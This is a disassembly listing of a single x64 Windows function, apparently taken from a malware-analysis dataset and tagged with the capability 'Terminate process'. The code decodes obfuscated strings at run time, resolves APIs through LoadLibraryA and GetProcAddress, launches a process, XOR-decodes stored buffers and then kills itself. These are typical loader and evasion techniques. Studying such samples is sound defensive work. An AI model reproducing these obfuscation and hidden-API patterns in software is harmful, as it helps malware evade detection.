Function at 0x140005e70
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x4f0
mov rcx, qword [rsp + 0x500]
call fcn.1400079c0
movzx eax, al
test eax, eax
je 0x140006c48
mov byte [rsp + 0x78], 0x92
mov byte [rsp + 0x79], 0xd4
mov byte [rsp + 0x7a], 0x2c
mov byte [rsp + 0x7b], 0x62
mov byte [rsp + 0x7c], 0x36
mov byte [rsp + 0x7d], 0x9f
mov byte [rsp + 0x7e], 0x95
mov byte [rsp + 0x7f], 0x10
mov byte [rsp + 0x80], 0x25
mov byte [rsp + 0x81], 0x23
mov byte [rsp + 0x82], 0
mov dword [rsp + 0xa0], 0
jmp 0x140005ef2
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
movsxd rax, dword [rsp + 0xa0]
cmp rax, 0xb
jae 0x140005ff4
movsxd rax, dword [rsp + 0xa0]
movzx eax, byte [rsp + rax + 0x78]
xor eax, 1
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0x78], al
movsxd rax, dword [rsp + 0xa0]
movzx eax, byte [rsp + rax + 0x78]
dec eax
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0x78], al
movsxd rax, dword [rsp + 0xa0]
movzx eax, byte [rsp + rax + 0x78]
xor eax, 0xaa
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0x78], al
movsxd rax, dword [rsp + 0xa0]
movzx eax, byte [rsp + rax + 0x78]
sub eax, 0xaa
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0x78], al
movsxd rax, dword [rsp + 0xa0]
movzx eax, byte [rsp + rax + 0x78]
xor eax, 0xcd
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0x78], al
movsxd rax, dword [rsp + 0xa0]
movzx eax, byte [rsp + rax + 0x78]
sub eax, 0xcd
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0x78], al
movsxd rax, dword [rsp + 0xa0]
movzx eax, byte [rsp + rax + 0x78]
xor eax, 0xd5
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0x78], al
movsxd rax, dword [rsp + 0xa0]
movzx eax, byte [rsp + rax + 0x78]
sub eax, 0xd5
movsxd rcx, dword [rsp + 0xa0]
mov byte [rsp + rcx + 0x78], al
jmp 0x140005ee2
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x98], 0xbc
mov byte [rsp + 0x99], 0xb5
mov byte [rsp + 0x9a], 0x9e
mov byte [rsp + 0x9b], 0xfb
mov byte [rsp + 0x9c], 0
mov dword [rsp + 0xa4], 0
jmp 0x140006043
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
movsxd rax, dword [rsp + 0xa4]
cmp rax, 5
jae 0x140006176
movsxd rax, dword [rsp + 0xa4]
movzx eax, byte [rsp + rax + 0x98]
xor eax, 0x49
movsxd rcx, dword [rsp + 0xa4]
mov byte [rsp + rcx + 0x98], al
movsxd rax, dword [rsp + 0xa4]
movzx eax, byte [rsp + rax + 0x98]
sub eax, 0x49
movsxd rcx, dword [rsp + 0xa4]
mov byte [rsp + rcx + 0x98], al
movsxd rax, dword [rsp + 0xa4]
movzx eax, byte [rsp + rax + 0x98]
xor eax, 0xa8
movsxd rcx, dword [rsp + 0xa4]
mov byte [rsp + rcx + 0x98], al
movsxd rax, dword [rsp + 0xa4]
movzx eax, byte [rsp + rax + 0x98]
sub eax, 0xa8
movsxd rcx, dword [rsp + 0xa4]
mov byte [rsp + rcx + 0x98], al
movsxd rax, dword [rsp + 0xa4]
movzx eax, byte [rsp + rax + 0x98]
xor eax, 0xa7
movsxd rcx, dword [rsp + 0xa4]
mov byte [rsp + rcx + 0x98], al
movsxd rax, dword [rsp + 0xa4]
movzx eax, byte [rsp + rax + 0x98]
sub eax, 0xa7
movsxd rcx, dword [rsp + 0xa4]
mov byte [rsp + rcx + 0x98], al
movsxd rax, dword [rsp + 0xa4]
movzx eax, byte [rsp + rax + 0x98]
xor eax, 0xf2
movsxd rcx, dword [rsp + 0xa4]
mov byte [rsp + rcx + 0x98], al
movsxd rax, dword [rsp + 0xa4]
movzx eax, byte [rsp + rax + 0x98]
sub eax, 0xf2
movsxd rcx, dword [rsp + 0xa4]
mov byte [rsp + rcx + 0x98], al
jmp 0x140006033
lea rax, [rsp + 0x98]
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
call fcn.1400016a0
lea rcx, [rsp + 0x58]
call fcn.1400032e0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x88]
call fcn.140007b50
movzx eax, al
test eax, eax
jne 0x140006c39
lea rdx, [0x140017311]
lea rcx, [rsp + 0x2b8]
call fcn.1400073a0
lea rdx, [rsp + 0x2e8]
mov rcx, qword [rsp + 0x88]
call fcn.140007ac0
jmp 0x1400061ff
lea rcx, [rsp + 0x2e8]
call fcn.140007f60
lea rdx, [rsp + 0x380]
mov rcx, qword [rsp + 0x88]
call fcn.140007af0
mov rdx, rax
lea rcx, [rsp + 0x2e8]
call fcn.140007f80
movzx eax, al
test eax, eax
je 0x140006389
mov byte [rsp + 0x2f0], 0xdc
mov byte [rsp + 0x2f1], 0
mov dword [rsp + 0x300], 0
jmp 0x14000625c
mov eax, dword [rsp + 0x300]
inc eax
mov dword [rsp + 0x300], eax
movsxd rax, dword [rsp + 0x300]
cmp rax, 2
jae 0x140006347
movsxd rax, dword [rsp + 0x300]
movzx eax, byte [rsp + rax + 0x2f0]
xor eax, 0xb2
movsxd rcx, dword [rsp + 0x300]
mov byte [rsp + rcx + 0x2f0], al
movsxd rax, dword [rsp + 0x300]
movzx eax, byte [rsp + rax + 0x2f0]
sub eax, 0xb2
movsxd rcx, dword [rsp + 0x300]
mov byte [rsp + rcx + 0x2f0], al
movsxd rax, dword [rsp + 0x300]
movzx eax, byte [rsp + rax + 0x2f0]
xor eax, 0xd2
movsxd rcx, dword [rsp + 0x300]
mov byte [rsp + rcx + 0x2f0], al
movsxd rax, dword [rsp + 0x300]
movzx eax, byte [rsp + rax + 0x2f0]
sub eax, 0xd2
movsxd rcx, dword [rsp + 0x300]
mov byte [rsp + rcx + 0x2f0], al
movsxd rax, dword [rsp + 0x300]
movzx eax, byte [rsp + rax + 0x2f0]
xor eax, 0x10
movsxd rcx, dword [rsp + 0x300]
mov byte [rsp + rcx + 0x2f0], al
movsxd rax, dword [rsp + 0x300]
movzx eax, byte [rsp + rax + 0x2f0]
sub eax, 0x10
movsxd rcx, dword [rsp + 0x300]
mov byte [rsp + rcx + 0x2f0], al
jmp 0x14000624c
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x2f8], rax
lea rcx, [rsp + 0x2e8]
call fcn.140007f40
mov rdx, rax
lea rcx, [rsp + 0x2b8]
call fcn.140007540
mov rdx, qword [rsp + 0x2f8]
mov rcx, rax
call fcn.140007570
jmp 0x1400061f2
lea rcx, [rsp + 0x2b8]
call fcn.140007720
dec rax
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x2b8]
call fcn.1400077c0
mov rdx, rax
lea rcx, [rsp + 0x2b8]
call fcn.140007480
lea rcx, [rsp + 0x388]
call fcn.1400074b0
mov qword [rsp + 0x2b0], 0
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x218], 0
mov byte [rsp + 0x2a0], 0x9b
mov byte [rsp + 0x2a1], 0x25
mov byte [rsp + 0x2a2], 0x32
mov byte [rsp + 0x2a3], 0x3e
mov byte [rsp + 0x2a4], 0x25
mov byte [rsp + 0x2a5], 0x3c
mov byte [rsp + 0x2a6], 0xf3
mov byte [rsp + 0x2a7], 0xf2
mov byte [rsp + 0x2a8], 0xfe
mov byte [rsp + 0x2a9], 0x24
mov byte [rsp + 0x2aa], 0x3c
mov byte [rsp + 0x2ab], 0x3c
mov byte [rsp + 0x2ac], 0
mov dword [rsp + 0x304], 0
jmp 0x14000647a
mov eax, dword [rsp + 0x304]
inc eax
mov dword [rsp + 0x304], eax
movsxd rax, dword [rsp + 0x304]
cmp rax, 0xd
jae 0x140006561
movsxd rax, dword [rsp + 0x304]
movzx eax, byte [rsp + rax + 0x2a0]
xor eax, 0x1f
movsxd rcx, dword [rsp + 0x304]
mov byte [rsp + rcx + 0x2a0], al
movsxd rax, dword [rsp + 0x304]
movzx eax, byte [rsp + rax + 0x2a0]
sub eax, 0x1f
movsxd rcx, dword [rsp + 0x304]
mov byte [rsp + rcx + 0x2a0], al
movsxd rax, dword [rsp + 0x304]
movzx eax, byte [rsp + rax + 0x2a0]
xor eax, 0xdf
movsxd rcx, dword [rsp + 0x304]
mov byte [rsp + rcx + 0x2a0], al
movsxd rax, dword [rsp + 0x304]
movzx eax, byte [rsp + rax + 0x2a0]
sub eax, 0xdf
movsxd rcx, dword [rsp + 0x304]
mov byte [rsp + rcx + 0x2a0], al
movsxd rax, dword [rsp + 0x304]
movzx eax, byte [rsp + rax + 0x2a0]
xor eax, 0x48
movsxd rcx, dword [rsp + 0x304]
mov byte [rsp + rcx + 0x2a0], al
movsxd rax, dword [rsp + 0x304]
movzx eax, byte [rsp + rax + 0x2a0]
sub eax, 0x48
movsxd rcx, dword [rsp + 0x304]
mov byte [rsp + rcx + 0x2a0], al
jmp 0x14000646a
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0x2b0], 0
jne 0x140006592
mov rcx, qword [rsp + 0x210]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x2b0], rax
cmp qword [rsp + 0x2e0], 0
jne 0x14000674f
mov byte [rsp + 0x310], 0x3d
mov byte [rsp + 0x311], 0xd2
mov byte [rsp + 0x312], 0xc7
mov byte [rsp + 0x313], 0xe3
mov byte [rsp + 0x314], 0xf4
mov byte [rsp + 0x315], 0xc7
mov byte [rsp + 0x316], 0x30
mov byte [rsp + 0x317], 0xd2
mov byte [rsp + 0x318], 0xc9
mov byte [rsp + 0x319], 0xdd
mov byte [rsp + 0x31a], 0xc7
mov byte [rsp + 0x31b], 0xcd
mov byte [rsp + 0x31c], 0xcd
mov byte [rsp + 0x31d], 0xc3
mov byte [rsp + 0x31e], 0
mov dword [rsp + 0x320], 0
jmp 0x140006636
mov eax, dword [rsp + 0x320]
inc eax
mov dword [rsp + 0x320], eax
movsxd rax, dword [rsp + 0x320]
cmp rax, 0xf
jae 0x140006721
movsxd rax, dword [rsp + 0x320]
movzx eax, byte [rsp + rax + 0x310]
xor eax, 0xb8
movsxd rcx, dword [rsp + 0x320]
mov byte [rsp + rcx + 0x310], al
movsxd rax, dword [rsp + 0x320]
movzx eax, byte [rsp + rax + 0x310]
sub eax, 0xb8
movsxd rcx, dword [rsp + 0x320]
mov byte [rsp + rcx + 0x310], al
movsxd rax, dword [rsp + 0x320]
movzx eax, byte [rsp + rax + 0x310]
xor eax, 0x85
movsxd rcx, dword [rsp + 0x320]
mov byte [rsp + rcx + 0x310], al
movsxd rax, dword [rsp + 0x320]
movzx eax, byte [rsp + rax + 0x310]
sub eax, 0x85
movsxd rcx, dword [rsp + 0x320]
mov byte [rsp + rcx + 0x310], al
movsxd rax, dword [rsp + 0x320]
movzx eax, byte [rsp + rax + 0x310]
xor eax, 0x6c
movsxd rcx, dword [rsp + 0x320]
mov byte [rsp + rcx + 0x310], al
movsxd rax, dword [rsp + 0x320]
movzx eax, byte [rsp + rax + 0x310]
sub eax, 0x6c
movsxd rcx, dword [rsp + 0x320]
mov byte [rsp + rcx + 0x310], al
jmp 0x140006626
lea rax, [rsp + 0x310]
mov qword [rsp + 0x308], rax
mov rdx, qword [rsp + 0x308]
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x2e0], rax
mov byte [rsp + 0xc0], 0
lea rax, [rsp + 0xc1]
mov rdi, rax
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
mov byte [rsp + 0xa8], 0xe1
mov byte [rsp + 0xa9], 0x8f
mov byte [rsp + 0xaa], 0x9c
mov byte [rsp + 0xab], 0xe7
mov byte [rsp + 0xac], 0xf9
mov byte [rsp + 0xad], 0x8c
mov byte [rsp + 0xae], 0x9f
mov byte [rsp + 0xaf], 0x84
mov byte [rsp + 0xb0], 0x8f
mov byte [rsp + 0xb1], 0xee
mov byte [rsp + 0xb2], 0xfb
mov byte [rsp + 0xb3], 0x84
mov byte [rsp + 0xb4], 0x8f
mov byte [rsp + 0xb5], 0xe6
mov byte [rsp + 0xb6], 0xe3
mov byte [rsp + 0xb7], 0x87
mov byte [rsp + 0xb8], 0x8f
mov byte [rsp + 0xb9], 0xc3
mov byte [rsp + 0xba], 0
mov dword [rsp + 0x324], 0
jmp 0x140006820
mov eax, dword [rsp + 0x324]
inc eax
mov dword [rsp + 0x324], eax
movsxd rax, dword [rsp + 0x324]
cmp rax, 0x13
jae 0x14000690b
movsxd rax, dword [rsp + 0x324]
movzx eax, byte [rsp + rax + 0xa8]
xor eax, 0x44
movsxd rcx, dword [rsp + 0x324]
mov byte [rsp + rcx + 0xa8], al
movsxd rax, dword [rsp + 0x324]
movzx eax, byte [rsp + rax + 0xa8]
sub eax, 0x44
movsxd rcx, dword [rsp + 0x324]
mov byte [rsp + rcx + 0xa8], al
movsxd rax, dword [rsp + 0x324]
movzx eax, byte [rsp + rax + 0xa8]
xor eax, 0x85
movsxd rcx, dword [rsp + 0x324]
mov byte [rsp + rcx + 0xa8], al
movsxd rax, dword [rsp + 0x324]
movzx eax, byte [rsp + rax + 0xa8]
sub eax, 0x85
movsxd rcx, dword [rsp + 0x324]
mov byte [rsp + rcx + 0xa8], al
movsxd rax, dword [rsp + 0x324]
movzx eax, byte [rsp + rax + 0xa8]
xor eax, 0x8c
movsxd rcx, dword [rsp + 0x324]
mov byte [rsp + rcx + 0xa8], al
movsxd rax, dword [rsp + 0x324]
movzx eax, byte [rsp + rax + 0xa8]
sub eax, 0x8c
movsxd rcx, dword [rsp + 0x324]
mov byte [rsp + rcx + 0xa8], al
jmp 0x140006810
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x1e8], rax
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1e0], rax
mov r8d, 0x104
lea rdx, [rsp + 0xc0]
xor ecx, ecx
call qword [rsp + 0x1e0]
mov dword [rsp + 0x230], 0x68
mov dword [rsp + 0x26c], 0x101
mov eax, 1
mov word [rsp + 0x270], ax
mov qword [rsp + 0x238], 0
xor eax, eax
mov word [rsp + 0x272], ax
mov qword [rsp + 0x278], 0
mov byte [rsp + 0x1d0], 5
mov byte [rsp + 0x1d1], 0x23
mov byte [rsp + 0x1d2], 0xf4
mov byte [rsp + 0x1d3], 0x31
mov byte [rsp + 0x1d4], 0xf4
mov byte [rsp + 0x1d5], 0xdf
mov byte [rsp + 0x1d6], 0xf2
mov byte [rsp + 0x1d7], 0xf4
mov byte [rsp + 0x1d8], 0xf3
mov byte [rsp + 0x1d9], 0x30
mov byte [rsp + 0x1da], 7
mov byte [rsp + 0x1db], 0x2e
mov byte [rsp + 0x1dc], 0x26
mov byte [rsp + 0x1dd], 0x2d
mov byte [rsp + 0x1de], 0x3f
mov byte [rsp + 0x1df], 0
mov dword [rsp + 0x328], 0
jmp 0x140006a32
mov eax, dword [rsp + 0x328]
inc eax
mov dword [rsp + 0x328], eax
movsxd rax, dword [rsp + 0x328]
cmp rax, 0x10
jae 0x140006b1d
movsxd rax, dword [rsp + 0x328]
movzx eax, byte [rsp + rax + 0x1d0]
xor eax, 0xbe
movsxd rcx, dword [rsp + 0x328]
mov byte [rsp + rcx + 0x1d0], al
movsxd rax, dword [rsp + 0x328]
movzx eax, byte [rsp + rax + 0x1d0]
sub eax, 0xbe
movsxd rcx, dword [rsp + 0x328]
mov byte [rsp + rcx + 0x1d0], al
movsxd rax, dword [rsp + 0x328]
movzx eax, byte [rsp + rax + 0x1d0]
xor eax, 0x11
movsxd rcx, dword [rsp + 0x328]
mov byte [rsp + rcx + 0x1d0], al
movsxd rax, dword [rsp + 0x328]
movzx eax, byte [rsp + rax + 0x1d0]
sub eax, 0x11
movsxd rcx, dword [rsp + 0x328]
mov byte [rsp + rcx + 0x1d0], al
movsxd rax, dword [rsp + 0x328]
movzx eax, byte [rsp + rax + 0x1d0]
xor eax, 0xee
movsxd rcx, dword [rsp + 0x328]
mov byte [rsp + rcx + 0x1d0], al
movsxd rax, dword [rsp + 0x328]
movzx eax, byte [rsp + rax + 0x1d0]
sub eax, 0xee
movsxd rcx, dword [rsp + 0x328]
mov byte [rsp + rcx + 0x1d0], al
jmp 0x140006a22
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x1f0], rax
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x220], rax
lea rcx, [rsp + 0x230]
call qword [rsp + 0x220]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x3b0]
call fcn.1400073a0
lea r8, [0x140017318]
mov rdx, rax
lea rcx, [rsp + 0x3d8]
call fcn.14000b050
lea r8, [rsp + 0x2b8]
mov rdx, rax
lea rcx, [rsp + 0x400]
call fcn.14000b0a0
mov rcx, rax
call fcn.1400076f0
lea rcx, [rsp + 0x1f8]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x230]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [rsp + 0x2e0]
lea rcx, [rsp + 0x400]
call fcn.1400074b0
lea rcx, [rsp + 0x3d8]
call fcn.1400074b0
lea rcx, [rsp + 0x3b0]
call fcn.1400074b0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, [rsp + 0x2b8]
call fcn.1400074b0
lea rcx, [rsp + 0x58]
call fcn.140007a90
jmp 0x140006efb
lea rdx, [rsp + 0x428]
mov rcx, qword [rsp + 0x500]
call fcn.140007970
mov qword [rsp + 0x4c0], rax
lea rdx, [rsp + 0x430]
mov rcx, qword [rsp + 0x500]
call fcn.140007930
mov rcx, qword [rsp + 0x4c0]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0x350]
call fcn.14000b0f0
lea rdx, [0x14001731c]
lea rcx, [rsp + 0x438]
call fcn.1400073a0
lea rax, [rsp + 0x460]
mov qword [rsp + 0x488], rax
lea rdx, [rsp + 0x350]
mov rcx, qword [rsp + 0x488]
call fcn.1400072e0
lea r8, [rsp + 0x438]
mov rdx, rax
lea rcx, [rsp + 0x330]
call section..text
lea rcx, [rsp + 0x438]
call fcn.1400074b0
mov dword [rsp + 0x378], 0
jmp 0x140006d10
mov eax, dword [rsp + 0x378]
inc eax
mov dword [rsp + 0x378], eax
cmp dword [rsp + 0x378], 0x20
jge 0x140006e32
cmp dword [rsp + 0x378], 8
jge 0x140006d7f
movsxd rax, dword [rsp + 0x378]
mov qword [rsp + 0x4c8], rax
lea rcx, [0x14001d054]
mov eax, dword [rsp + 0x378]
cdq
mov edi, 0xf
idiv edi
mov eax, edx
cdqe
lea rdx, [0x14001d004]
movsx eax, byte [rdx + rax]
mov rdx, qword [rsp + 0x4c8]
movsx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x378]
lea rdx, [0x14001d054]
mov byte [rdx + rcx], al
movsxd rax, dword [rsp + 0x378]
mov qword [rsp + 0x4d0], rax
lea rcx, [0x14001d014]
mov eax, dword [rsp + 0x378]
cdq
mov edi, 0xf
idiv edi
mov eax, edx
cdqe
lea rdx, [0x14001d004]
movsx eax, byte [rdx + rax]
mov rdx, qword [rsp + 0x4d0]
movsx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x378]
lea rdx, [0x14001d014]
mov byte [rdx + rcx], al
movsxd rax, dword [rsp + 0x378]
mov qword [rsp + 0x4d8], rax
lea rcx, [0x14001d034]
mov eax, dword [rsp + 0x378]
cdq
mov edi, 0xf
idiv edi
mov eax, edx
cdqe
lea rdx, [0x14001d004]
movsx eax, byte [rdx + rax]
mov rdx, qword [rsp + 0x4d8]
movsx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x378]
lea rdx, [0x14001d034]
mov byte [rdx + rcx], al
jmp 0x140006d00
lea rcx, [rsp + 0x330]
call fcn.140007b20
dec rax
mov rdx, rax
lea rcx, [rsp + 0x330]
call fcn.140007b90
mov rcx, rax
call fcn.140007720
mov qword [rsp + 0x4e0], rax
lea rcx, [rsp + 0x330]
call fcn.140007b20
dec rax
mov rdx, rax
lea rcx, [rsp + 0x330]
call fcn.140007b90
mov rcx, rax
call fcn.1400076f0
mov rcx, qword [rsp + 0x4e0]
mov r8, rcx
mov rdx, rax
lea rcx, [rsp + 0x490]
call fcn.140001130
mov rcx, rax
call fcn.1400076f0
mov r8, rax
lea rdx, [0x14001d054]
lea rcx, [0x14001d014]
call fcn.140004050
lea rcx, [rsp + 0x490]
call fcn.1400074b0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, [rsp + 0x330]
call fcn.140007a90
lea rcx, [rsp + 0x350]
call fcn.1400074b0
mov dword [rsp + 0x4b8], 0
mov rcx, qword [rsp + 0x500]
call fcn.1400078d0
mov eax, dword [rsp + 0x4b8]
add rsp, 0x4f0
pop rdi
ret